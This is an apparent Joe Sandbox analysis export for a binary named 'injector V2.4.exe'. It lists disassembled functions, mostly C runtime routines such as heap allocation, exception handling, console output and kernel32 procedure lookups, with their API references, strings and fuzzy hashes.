Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 8d2f6318bf9beaaf834a02cfa12e6da906b89cc11e7c4e01927bcbd9feb7418a
Instruction ID: 4a01f7c523013e165e98b9df6da663835d7e6ffc091c66b915d5d144e15672f0
Opcode Fuzzy Hash: 8d2f6318bf9beaaf834a02cfa12e6da906b89cc11e7c4e01927bcbd9feb7418a
Instruction Fuzzy Hash: 2C01A2319086A9ABCB018F55DC49FEEB7B8FB04B15F05052AE811A63D0DBB89900CA98

Function 004DDF1D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 004DDFA2
__alloca_probe_16.LIBCMT ref: 004DE06B
__freea.LIBCMT ref: 004DE0D2

Part of subcall function 004DBC45: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004D41E0,?,?,004D1007,?,004CFAB5), ref: 004DBC77

__freea.LIBCMT ref: 004DE0E5
__freea.LIBCMT ref: 004DE0F2

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: fede7ebb4ee31872e5f714ade9b98efe7f7f446ce982246ac72af7851c51b3e3
Instruction ID: 321caedbbc9571ece6527a998a3fb259eea789f67700acce592e7c6f655bd0c5
Opcode Fuzzy Hash: fede7ebb4ee31872e5f714ade9b98efe7f7f446ce982246ac72af7851c51b3e3
Instruction Fuzzy Hash: ED51B472600216AFDB226F63CC65EBB76A9EF44B14B15402FFD05DA301EB79DC50C6A8

Function 004D94F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,004D93FE,?,?,00000000,00000000,00000000,?), ref: 004D951D
CatchIt.LIBVCRUNTIME ref: 004D9603

Strings

RCC, xrefs: 004D9537
MOC, xrefs: 004D952F

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 40ebef99bfe677df6f0c6592b9bbc5498267d295eb47b0282b898a4a9fedea96
Instruction ID: 52d48338e1b31320b0ecf6a1f129548d9c42b0c4fc67e9957cbf98f3f1063602
Opcode Fuzzy Hash: 40ebef99bfe677df6f0c6592b9bbc5498267d295eb47b0282b898a4a9fedea96
Instruction Fuzzy Hash: F3414972900209AFCF16DF94D991AAE7BB5EF48304F18406BF905AA311D739DD50DB58

Function 004DDC5E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,004DDCFA,00000000,?,004ECCD0,?,?,?,004DDC31,00000004,InitializeCriticalSectionEx,004E46F8,004E4700), ref: 004DDC6B
GetLastError.KERNEL32(?,004DDCFA,00000000,?,004ECCD0,?,?,?,004DDC31,00000004,InitializeCriticalSectionEx,004E46F8,004E4700,00000000,?,004D971C), ref: 004DDC75
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 004DDC9D

Strings

api-ms-, xrefs: 004DDC82

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: a3736c332924439d333baa1c2a4a3637210af519623b6b899411df2deeb86aaf
Instruction ID: 44374c02eb2bd29e932f499b1306acda0c543dee709844be0b252aa86680e9dd
Opcode Fuzzy Hash: a3736c332924439d333baa1c2a4a3637210af519623b6b899411df2deeb86aaf
Instruction Fuzzy Hash: 63E01230654249BAEF112B51DC46B593B55AB01F55F104036F94DA82E1EBA69C11C54C

Function 004DE5E8 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(D6656D70,00000000,00000000,?), ref: 004DE64B

Part of subcall function 004DD131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,004D87B1,?,00000000,?), ref: 004DD192

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 004DE89D
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 004DE8E3
GetLastError.KERNEL32 ref: 004DE986

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 5929e643d14611bf21021755f0fbd7329fc7ae8f465fbc0d2ebc9009bee511d8
Instruction ID: c0fc32153d04e952500d94daaf9fd14b469e837201900f022c88e547fcf47ad4
Opcode Fuzzy Hash: 5929e643d14611bf21021755f0fbd7329fc7ae8f465fbc0d2ebc9009bee511d8
Instruction Fuzzy Hash: 2ED188B5D002489FCF15DFA9C8E09AEBBB5FF09314F28416BE456EB352D634A902CB54

Function 004D8EFC Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 004D8FC3
___AdjustPointer.LIBCMT ref: 004D8FE6
___AdjustPointer.LIBCMT ref: 004D9082

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 81e80ffb6d089c7d17f9a712048a567bd30421c01c8824b906bb161a23fabaa4
Instruction ID: f2182e0fdb1ea66df77aa6764f5fef37c4c0dcb4affb400f0c057a754e6f3e69
Opcode Fuzzy Hash: 81e80ffb6d089c7d17f9a712048a567bd30421c01c8824b906bb161a23fabaa4
Instruction Fuzzy Hash: E6510372605602AFEB2A9F15E861BBA73A5FF04304F14052FE9458B391EB39EC41C798

Function 004DC5B8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 004DD131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,004D87B1,?,00000000,?), ref: 004DD192

GetLastError.KERNEL32(?,?,?,00000000,00000000,?,004DC95E,?,?,?,00000000), ref: 004DC61C
__dosmaperr.LIBCMT ref: 004DC623
GetLastError.KERNEL32(00000000,004DC95E,?,?,00000000,?,?,?,00000000,00000000,?,004DC95E,?,?,?,00000000), ref: 004DC65D
__dosmaperr.LIBCMT ref: 004DC664

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: a4ba477a4bba0d7b566383c125edd27b2a3687074b3ba8efee33601d59b38c51
Instruction ID: 10723746cc27902094d629199e538dfa06f925b243e56a479bffae48e3b31f01
Opcode Fuzzy Hash: a4ba477a4bba0d7b566383c125edd27b2a3687074b3ba8efee33601d59b38c51
Instruction Fuzzy Hash: 3321B371604217AF9B10AF6688E092BB7A9EF45368710852BF81597791D738EC01CB98

Function 004DD22D Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 004DD235

Part of subcall function 004DD131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,004D87B1,?,00000000,?), ref: 004DD192

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 004DD26D
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 004DD28D

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 1dfe58774276b000e95ac7707981ade382240aabf299e8a8be3198dbb62c1689
Instruction ID: 61b041babefe601e144f0ea0e09e43e95c31edff789ccade7210638004d5d1cc
Opcode Fuzzy Hash: 1dfe58774276b000e95ac7707981ade382240aabf299e8a8be3198dbb62c1689
Instruction Fuzzy Hash: C511D6B5D05519BE6B2227765CD9CBF6A6CDF853A8711006BF801D6342FB68CD0241BE

Function 004E07C0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,004DFF31,00000000,00000001,00000000,?,?,004DE9DA,?,00000000,00000000), ref: 004E07D7
GetLastError.KERNEL32(?,004DFF31,00000000,00000001,00000000,?,?,004DE9DA,?,00000000,00000000,?,?,?,004DE320,00000000), ref: 004E07E3

Part of subcall function 004E0840: CloseHandle.KERNEL32(FFFFFFFE,004E07F3,?,004DFF31,00000000,00000001,00000000,?,?,004DE9DA,?,00000000,00000000,?,?), ref: 004E0850

___initconout.LIBCMT ref: 004E07F3

Part of subcall function 004E0815: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,004E07B1,004DFF1E,?,?,004DE9DA,?,00000000,00000000,?), ref: 004E0828

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,004DFF31,00000000,00000001,00000000,?,?,004DE9DA,?,00000000,00000000,?), ref: 004E0808

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: b8427d747a4efb9374761fd23dc4c576d523842c2f535db1870ca4eeca483c51
Instruction ID: 0a8e1e3b430a89d1aa140256ec1864ae54e7b0490f617585b21c6de9b4d153c8
Opcode Fuzzy Hash: b8427d747a4efb9374761fd23dc4c576d523842c2f535db1870ca4eeca483c51
Instruction Fuzzy Hash: 57F01236000199BBCF222FD6DC44D9A3F27FF04362F048522FA1889162C6728C60DBD8

Function 004D8D6C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 004D8D75

Strings

csm, xrefs: 004D8E08
csm, xrefs: 004D8D97

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: fb2ed8a83059507ac120473e9f098b4cc484e03a170de68f0b1c3195545374a9
Instruction ID: cc7bb379e472f72b95c0434cf05db5a65aea231faf320e1337c36e0f4711d214
Opcode Fuzzy Hash: fb2ed8a83059507ac120473e9f098b4cc484e03a170de68f0b1c3195545374a9
Instruction Fuzzy Hash: 6F31EF72400254EFCF229F51C8208BB7B26FB08318B084A5FF84489361CB3ADD61DF89

Function 004D45A6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004D4533: __EH_prolog3_GS.LIBCMT ref: 004D453A

std::domain_error::domain_error.LIBCPMT ref: 004D45EC

Part of subcall function 004D43A4: std::exception::exception.LIBCONCRT ref: 004D43BA

Strings

CDM, xrefs: 004D45D7
CDM, xrefs: 004D45B6, 004D45C9

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: H_prolog3_std::domain_error::domain_errorstd::exception::exception
String ID: CDM$CDM
API String ID: 2144476180-485079685
Opcode ID: 3ad606987db4f01221addf43c48e5a879bcb0d27de4e264f314810438f91d461
Instruction ID: 4bff465f5eb52eb7ce5761ed7c8a2ee6cc614f300affc1cc6247d18b11eb4bda
Opcode Fuzzy Hash: 3ad606987db4f01221addf43c48e5a879bcb0d27de4e264f314810438f91d461
Instruction Fuzzy Hash: 80014070D00208ABCF18EF6AD85589EBBF4EF88308750842FE41597341DB34D605CB94

Analysis Process: injector V2.4.exePID: 5268, Parent PID: 5508COMMON

Non-executed Functions

Function 004DC7DB Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004DC8CB

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 33f17a07e41206ec0681318bff4c4289635caeb806237dcbe8a91e356e0334a5
Instruction ID: 64189fd60649195154ed58b3f198143f922151e4aef40f55bf3f860ddcc30306
Opcode Fuzzy Hash: 33f17a07e41206ec0681318bff4c4289635caeb806237dcbe8a91e356e0334a5
Instruction Fuzzy Hash: A871F571C0511E6EDF21EF258CE9AAAB7B9EB05304F1441DBE00997341DB388E85DF58

Function 004D5444 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004D5450
IsDebuggerPresent.KERNEL32 ref: 004D551C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004D553C
UnhandledExceptionFilter.KERNEL32(?), ref: 004D5546

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: ae9cb73bf17c5725b4a7045f5ca161cd8a8e300073f8c27026a167351e5c2d87
Instruction ID: 69f1da8a81cf862c4788b997ecd5a2a7e2fc54ae040378a7f27dd0f9955a80d8
Opcode Fuzzy Hash: ae9cb73bf17c5725b4a7045f5ca161cd8a8e300073f8c27026a167351e5c2d87
Instruction Fuzzy Hash: 13312B75D052189BDF11EF64D9897CDBBF8BF08304F1041AAE40DAB291EB745A85CF09

Function 004D4CA2 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004D4CB6
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004D4CC4
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004D4CD5
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004D4CE6
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 004D4CF7
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 004D4D08
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 004D4D19
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 004D4D2A
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 004D4D3B
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 004D4D4C
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 004D4D5D
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 004D4D6E
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 004D4D7F
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 004D4D90
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004D4DA1
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004D4DB2
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004D4DC3
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 004D4DD4
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 004D4DE5
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 004D4DF6
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 004D4E07
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 004D4E18
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 004D4E29
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 004D4E3A
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 004D4E4B
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 004D4E5C
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 004D4E6D
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 004D4E7E
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 004D4E8F
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 004D4EA0
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 004D4EB1
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 004D4EC2
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 004D4ED3
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 004D4EE4
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 004D4EF5
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 004D4F06
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 004D4F17
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 004D4F28
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 004D4F39
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 004D4F4A
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 004D4F5B

Strings

CloseThreadpoolWork, xrefs: 004D4F1D
WakeAllConditionVariable, xrefs: 004D4E84
FlsSetValue, xrefs: 004D4CEC
SetFileInformationByHandle, xrefs: 004D4E40
WakeConditionVariable, xrefs: 004D4E73
GetTickCount64, xrefs: 004D4E1E
FlushProcessWriteBuffers, xrefs: 004D4DC9
GetCurrentPackageId, xrefs: 004D4E0D
CreateSemaphoreW, xrefs: 004D4D30
GetSystemTimePreciseAsFileTime, xrefs: 004D4E51
GetCurrentProcessorNumber, xrefs: 004D4DEB
SleepConditionVariableSRW, xrefs: 004D4EEA
InitOnceExecuteOnce, xrefs: 004D4D0E
CloseThreadpoolTimer, xrefs: 004D4D85
LCMapStringEx, xrefs: 004D4F50
SubmitThreadpoolWork, xrefs: 004D4F0C
InitializeSRWLock, xrefs: 004D4EA6
SetThreadpoolWait, xrefs: 004D4DA7
CreateSemaphoreExW, xrefs: 004D4D41
CreateThreadpoolTimer, xrefs: 004D4D52
ReleaseSRWLockExclusive, xrefs: 004D4ED9
SetThreadpoolTimer, xrefs: 004D4D63
FlsGetValue, xrefs: 004D4CDB
CloseThreadpoolWait, xrefs: 004D4DB8
InitializeCriticalSectionEx, xrefs: 004D4CFD
FlsFree, xrefs: 004D4CCA
CreateThreadpoolWork, xrefs: 004D4EFB
InitializeConditionVariable, xrefs: 004D4E62
CreateThreadpoolWait, xrefs: 004D4D96
CreateEventExW, xrefs: 004D4D1F
GetLocaleInfoEx, xrefs: 004D4F3F
kernel32.dll, xrefs: 004D4CB1
FlsAlloc, xrefs: 004D4CBE
FreeLibraryWhenCallbackReturns, xrefs: 004D4DDA
SleepConditionVariableCS, xrefs: 004D4E95
CompareStringEx, xrefs: 004D4F2E
AcquireSRWLockExclusive, xrefs: 004D4EB7
CreateSymbolicLinkW, xrefs: 004D4E01
WaitForThreadpoolTimerCallbacks, xrefs: 004D4D74
TryAcquireSRWLockExclusive, xrefs: 004D4EC8
GetFileInformationByHandleEx, xrefs: 004D4E2F

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

